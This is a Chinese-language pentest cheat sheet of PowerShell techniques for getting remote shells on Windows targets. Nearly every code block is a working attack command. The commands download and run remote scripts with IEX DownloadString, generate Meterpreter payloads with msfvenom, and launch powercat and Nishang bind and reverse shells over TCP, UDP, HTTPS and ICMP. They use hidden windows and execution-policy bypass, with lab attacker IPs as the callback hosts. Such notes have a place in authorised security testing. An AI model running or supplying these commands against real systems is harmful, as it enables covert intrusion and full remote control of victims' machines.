# Powershell

**MSF+Powershell**

```
反弹MSF
靶机
PS >IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.100/powersploit/CodeExecution/Invoke-Shellcode.ps1') 
PS >Invoke-Shellcode -payload windows/meterpreter/reverse_http -lhost 192.168.0.100 -lport 6666 -force
攻击机：
>use exploit/multi/handler
>set payload windows/x64/meterpreter/reverse_ https
>run
或
>msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.100 LPORT=4444 -f powershell -o /var/www/html/ps
>IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.100/powersploit/CodeExecution/Invoke-Shellcode.ps1")
>IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.100/ps")
>Invoke-Shellcode -Shellcode ($buf)
或
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f psh-reflection >/var/www/html/a.ps1
>powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.101/a.ps1')"
```

**Powercat**

```
>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
正向连接
靶机:powercat -l -p 8080 -e cmd.exe –v
攻击机:nc 192.168.0.1 8080 –vv
反向连接：
攻击机：nc –l –p 8080 –vv
靶机:powercat –c 192.168.0.1 –p 8080 –v –e cmd.exe
远程执行
>powershell -nop -w hidden -ep bypass "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.107/ps/powercat/powercat.ps1'); powercat -c 192.168.0.107 -p 12345 -v -e cmd.exe"
正向连接
靶机:powercat -l -p 8080 -e cmd.exe -v
攻击机:nc 192.168.0.1 8080 -vv
反向连接：
攻击机：nc -l -p 8080 -vv
靶机:powercat -c 192.168.0.1 -p 8080 -v -e cmd.exe
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/207.png)

**Nishang**

**Bind shell**

```
靶机：
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Bind -Port 12138"
攻击机：
>nc 靶机IP 12138
```

**反向shell**

```
攻击机：
>nc -vnlp 9999
靶机：
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 攻击机IP -port 9999"
```

**UDP反向shell**

```
攻击机：
>nc -lvup 12138
靶机：
>powershell -nop -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 攻击机IP -port 12138"
```

**HTTPS**

```
攻击机：
>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Shells/Invoke-PoshRatHttps.ps1'); Invoke-PoshRatHttps -IPAddress 192.168.0.98 -Port 8080 -SSLPort 443"  IP地址是本机IP
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/208.png)

```
靶机：
>powershell -w hidden -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.98:8080/connect')
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/209.png)

**ICMP**

```
攻击机IP:108
靶机IP:100
https://github.com/inquisb/icmpsh
靶机执行
>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.108/ps/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp 192.168.0.108
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/210.png)

```
攻击机执行，开启相应ICMP ECHO请求
>sysctl -w net.ipv4.icmp_echo_ignore_all=1
>./icmpsh_m.py 192.168.0.108 192.168.0.100
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/211.png)

**Base64**

```
>Powershell "$string="net user";[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($string))"
```


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